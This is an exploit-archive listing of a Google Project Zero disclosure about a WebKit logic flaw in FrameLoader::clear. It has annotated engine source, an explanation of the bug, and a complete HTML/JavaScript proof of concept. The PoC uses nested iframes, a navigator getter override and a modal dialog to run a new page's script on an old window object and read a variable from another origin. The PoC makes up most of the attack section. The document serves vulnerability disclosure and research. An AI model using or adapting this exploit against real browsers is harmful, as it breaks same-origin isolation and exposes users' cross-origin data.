WebKit - Stealing Variables via Page Navigation in FrameLoader::clear Exploit

2017-05-2500:00:00

Google Security Research

0day.today

0.067 Low

EPSS

Percentile

93.1%

JSON

Exploit for multiple platform in category dos / poc

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1162
 
void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    m_frame.editor().clear();
 
    if (!m_needsClear)
        return;
    m_needsClear = false;
     
    if (m_frame.document()->pageCacheState() != Document::InPageCache) {
        ...
        m_frame.document()->prepareForDestruction(); <<-------- (a)
        if (hadLivingRenderTree)
            m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());
    }
    ...
    m_frame.setDocument(nullptr); <<------- (b)
    ...
    if (clearWindowProperties)
        m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)
    ...
}
 
FrameLoader::clear is called when page navigation is made and it does:
1. clear the old document at (b).
2. attach the new window object at (c).
 
If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.
 
PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).
 
PoC:
-->
 
<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}
 
window.onclick = () => {
    window.onclick = null;
 
    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentDocument.open();
    f.contentDocument.onreadystatechange = () => {
        f.contentDocument.onreadystatechange = null;
 
        let g = f.contentDocument.appendChild(document.createElement('iframe'));
        g.contentDocument.open();
        g.contentDocument.onreadystatechange = () => {
            g.contentDocument.onreadystatechange = null;
 
            f.contentWindow.__defineGetter__('navigator', function () {
                return {};
            });
 
            let a = f.contentDocument.createElement('a');
            a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');
            a.click();
 
            showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener[0].frameElement.contentDocument.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 100);
</scrip` + 't>'));
 
            alert('secret_key:' + f.contentWindow.secret_key);
            //showModalDialog('about:blank');
        };
    };
 
    f.src = 'javascript:""';
}
 
</script>
</body>

#  0day.today [2018-01-06]  #

0.067 Low

EPSS

Percentile

93.1%

JSON

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